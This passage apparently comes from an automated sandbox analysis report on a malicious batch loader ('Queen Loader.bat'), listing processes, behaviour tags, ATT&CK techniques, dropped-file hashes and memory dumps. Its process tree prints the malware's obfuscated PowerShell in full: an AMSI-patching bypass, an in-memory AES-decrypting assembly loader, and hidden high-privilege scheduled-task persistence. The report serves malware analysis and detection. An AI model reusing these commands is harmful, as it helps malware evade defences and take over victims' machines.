$_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+'t'+'em'+'.'+''+'d'+''+[Char](108)+'l')}).GetType('M'+'i'+'c'+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+'i'+'n'+'3'+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+'s'+'a'+''+[Char](102)+''+'e'+''+'N'+'a'+'t'+''+'i'+'veM'+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$GQedneLYUSiMlH=$LEnQRauVjJwpI.GetMethod(''+'G'+'et'+[Char](80)+''+'r'+'o'+'c'+'Ad'+[Char](100)+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+'St'+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wxzAdGlchTlRSXAzXKO=ycHrhRKkEkQe @([String])([IntPtr]);$uBACIJYkwVYUyHWDIjYrSl=ycHrhRKkEkQe @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$tCWeDoCzicp=$LEnQRauVjJwpI.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+[Char](100)+''+'u'+''+'l'+''+[Char](101)+'Ha'+'n'+'dle').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+'e'+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+'l'+'l'+'')));$ycwuvRJIQnjanA=$GQedneLYUSiMlH.Invoke($Null,@([Object]$tCWeDoCzicp,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$MVPYxmnBfztIDtlFA=$GQedneLYUSiMlH.Invoke($Null,@([Object]$tCWeDoCzicp,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tua'+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+'t')));$rnbQfBx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ycwuvRJIQnjanA,$wxzAdGlchTlRSXAzXKO).Invoke('a'+[Char](109)+'si.'+'d'+''+'l'+''+[Char](108)+'');$vYOgJEtsrYmfGNWzj=$GQedneLYUSiMlH.Invoke($Null,@([Object]$rnbQfBx,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'S'+[Char](99)+'a'+[Char](110)+'B'+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+'r'+'')));$htkrCAunDV=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MVPYxmnBfztIDtlFA,$uBACIJYkwVYUyHWDIjYrSl).Invoke($vYOgJEtsrYmfGNWzj,[uint32]8,4,[ref]$htkrCAunDV);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vYOgJEtsrYmfGNWzj,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MVPYxmnBfztIDtlFA,$uBACIJYkwVYUyHWDIjYrSl).Invoke($vYOgJEtsrYmfGNWzj,[uint32]8,0x20,[ref]$htkrCAunDV);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+'77st'+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1164

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1980

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1968

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2068

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2136

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2612

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2624

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3032

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2600

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3332

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5044

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_134_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_134.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1408

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_134.vbs"
4⤵
- Suspicious use of WriteProcessMemory
PID:2800

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_134.bat" "
5⤵
- Suspicious use of WriteProcessMemory
PID:4756

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:2340

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_134.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_134.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3724

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
7⤵
- Executes dropped EXE
PID:2780

C:\Users\Admin\AppData\Local\Temp\New.exe
"C:\Users\Admin\AppData\Local\Temp\New.exe"
7⤵
- Executes dropped EXE
PID:380

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:3556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3532

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3908

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3948

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4044

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1088

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3592

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2132

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4900

C:\Windows\sysWOW64\wbem\wmiprvse.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3444

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:2936

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
cd7b51fc93808bb92db6e25448700706

SHA1
a26a4d5954d18830edc2267cb5051daa6282c7ef

SHA256
dc5751d74af42e642422ae3250a5e1c4534433c6957c4aae9f851024cd8c5754

SHA512
61bf7a9f8e42f14aa507ad1d538d107d08262a7c8aaf6650151420ee4ad967a59b8ce020f097a60af0a81cd1d280ce508b942334ba2313ebc24e43fbb65cf628

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
b51552b77057c2405f73bbbf9c89234a

SHA1
4793adbba023f90d2d2ad0ec55199c56de815224

SHA256
720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

SHA512
564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

Download Submit
C:\Users\Admin\AppData\Local\Temp\New.exe
Filesize
409KB

MD5
cf570b21f42f0ce411b7c9961068931e

SHA1
f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

SHA256
d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

SHA512
de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hlz2zrrc.ayx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_134.bat
Filesize
1002KB

MD5
f6d5bfaee8a55ff72c7b453fda066d62

SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f

SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_134.vbs
Filesize
115B

MD5
b05d306b33af9aa7a0d659d7dff16bec

SHA1
229a881e9a1900f05445d18337ea0deee8f8ea6f

SHA256
5bc18b1286fb36a74fe058481326eba5467432eb53a7d73ac89fde8df36ebd07

SHA512
639317b239489750cd1543b265798f323d8b3cb5fac74c54e2cceaf49618ceb02d8e4a8a5e15a8977597eb88f2b6bd13caaac428d85e16f55bfddc386de53bc4

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize
338B

MD5
521a7a1f096d350efbf6b5b78837b34d

SHA1
34fc1ebde00200c7172502783c525b723e543cb0

SHA256
d8de6b055234318654a355a7cd6e7dba342f4afdba4febcb203939eb097bd7f9

SHA512
82f00e081b77fc02b0f0c640efcab89d7a16fcfac1028987b2f43a45bc2e9289628b8e5c4721c03d6b8d3ab955779640b5a995813a8599d82ce5d27fb92d38cb

Download Submit
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
Filesize
412B

MD5
0b02d765f454bdc785eadea92c12f906

SHA1
667ca2421ac38ec7b0e573389e48b98ef420e35c

SHA256
d6506b38ed3113280483516a1a9dfda076b7807f83ef976d99d930fd41880de8

SHA512
bf805e32a23ad0fd0e60888fbbefff6430cc7cff30bfafc7198e3af776b69249e3dc7f55086515f68ad198a120edf27c5f75d8344a6406cfa32cf9844256f369

Download Submit
memory/380-99-0x0000000000D30000-0x0000000000D9C000-memory.dmp

Filesize
432KB

Download
memory/452-174-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmp

Filesize
64KB

Download
memory/452-168-0x00000234192A0000-0x00000234192CA000-memory.dmp

Filesize
168KB

Download
memory/452-173-0x00000234192A0000-0x00000234192CA000-memory.dmp

Filesize
168KB

Download
memory/552-158-0x000001AF06770000-0x000001AF0679A000-memory.dmp

Filesize
168KB

Download
memory/552-163-0x000001AF06770000-0x000001AF0679A000-memory.dmp

Filesize
168KB

Download
memory/552-164-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmp

Filesize
64KB

Download
memory/632-133-0x0000016B29980000-0x0000016B299AA000-memory.dmp

Filesize
168KB

Download
memory/632-128-0x0000016B29980000-0x0000016B299AA000-memory.dmp

Filesize
168KB

Download
memory/632-126-0x0000016B29950000-0x0000016B29975000-memory.dmp

Filesize
148KB

Download
memory/632-134-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmp

Filesize
64KB

Download
memory/632-127-0x0000016B29980000-0x0000016B299AA000-memory.dmp

Filesize
168KB

Download
memory/684-138-0x000001D1BAD90000-0x000001D1BADBA000-memory.dmp

Filesize
168KB

Download
memory/684-144-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmp

Filesize
64KB

Download
memory/684-143-0x000001D1BAD90000-0x000001D1BADBA000-memory.dmp

Filesize
168KB

Download
memory/996-154-0x00007FFCEDF70000-0x00007FFCEDF80000-memory.dmp

Filesize
64KB

Download
memory/996-153-0x00000219F8260000-0x00000219F828A000-memory.dmp

Filesize
168KB

Download
memory/996-148-0x00000219F8260000-0x00000219F828A000-memory.dmp

Filesize
168KB

Download
memory/1408-27-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-52-0x00000000073B0000-0x0000000007446000-memory.dmp

Filesize
600KB

Download
memory/1408-53-0x0000000007330000-0x0000000007341000-memory.dmp

Filesize
68KB

Download
memory/1408-54-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-57-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-51-0x00000000071A0000-0x00000000071AA000-memory.dmp

Filesize
40KB

Download
memory/1408-50-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-49-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-48-0x0000000006FE0000-0x0000000007084000-memory.dmp

Filesize
656KB

Download
memory/1408-25-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-26-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-36-0x0000000006F70000-0x0000000006FA4000-memory.dmp

Filesize
208KB

Download
memory/1408-37-0x0000000071480000-0x00000000714CC000-memory.dmp

Filesize
304KB

Download
memory/1408-47-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/1408-46-0x0000000006FB0000-0x0000000006FCE000-memory.dmp

Filesize
120KB

Download
memory/3512-119-0x00007FFD2DEE0000-0x00007FFD2E0E9000-memory.dmp

Filesize
2.0MB

Download
memory/3512-118-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3512-123-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3512-120-0x00007FFD2D2C0000-0x00007FFD2D37D000-memory.dmp

Filesize
756KB

Download
memory/3512-113-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3512-116-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3512-115-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3512-114-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3556-112-0x00007FFD2D2C0000-0x00007FFD2D37D000-memory.dmp

Filesize
756KB

Download
memory/3556-102-0x000001CBA00B0000-0x000001CBA00D2000-memory.dmp

Filesize
136KB

Download
memory/3556-111-0x00007FFD2DEE0000-0x00007FFD2E0E9000-memory.dmp

Filesize
2.0MB

Download
memory/3556-110-0x000001CBB87C0000-0x000001CBB87EA000-memory.dmp

Filesize
168KB

Download
memory/3724-100-0x00000000085E0000-0x00000000085F2000-memory.dmp

Filesize
72KB

Download
memory/3724-81-0x0000000008610000-0x00000000086A2000-memory.dmp

Filesize
584KB

Download
memory/3724-738-0x000000000A050000-0x000000000A05A000-memory.dmp

Filesize
40KB

Download
memory/3724-80-0x00000000083F0000-0x000000000845C000-memory.dmp

Filesize
432KB

Download
memory/3724-736-0x000000000A150000-0x000000000A18C000-memory.dmp

Filesize
240KB

Download
memory/5044-22-0x00000000086B0000-0x00000000087A2000-memory.dmp

Filesize
968KB

Download
memory/5044-5-0x0000000005680000-0x00000000056A2000-memory.dmp

Filesize
136KB

Download
memory/5044-20-0x00000000085C0000-0x00000000085DA000-memory.dmp

Filesize
104KB

Download
memory/5044-19-0x0000000008C40000-0x00000000092BA000-memory.dmp

Filesize
6.5MB

Download
memory/5044-18-0x00000000064B0000-0x00000000064FC000-memory.dmp

Filesize
304KB

Download
memory/5044-17-0x0000000006400000-0x000000000641E000-memory.dmp

Filesize
120KB

Download
memory/5044-16-0x0000000005F20000-0x0000000006277000-memory.dmp

Filesize
3.3MB

Download
memory/5044-7-0x0000000005EB0000-0x0000000005F16000-memory.dmp

Filesize
408KB

Download
memory/5044-6-0x0000000005E40000-0x0000000005EA6000-memory.dmp

Filesize
408KB

Download
memory/5044-21-0x0000000008580000-0x0000000008588000-memory.dmp

Filesize
32KB

Download
memory/5044-4-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/5044-3-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/5044-23-0x000000000A870000-0x000000000AE16000-memory.dmp

Filesize
5.6MB

Download
memory/5044-75-0x0000000075290000-0x0000000075A41000-memory.dmp

Filesize
7.7MB

Download
memory/5044-0-0x000000007529E000-0x000000007529F000-memory.dmp

Filesize
4KB

Download
memory/5044-2-0x0000000005720000-0x0000000005D4A000-memory.dmp

Filesize
6.2MB

Download
memory/5044-1-0x00000000030A0000-0x00000000030D6000-memory.dmp

Filesize
216KB

Download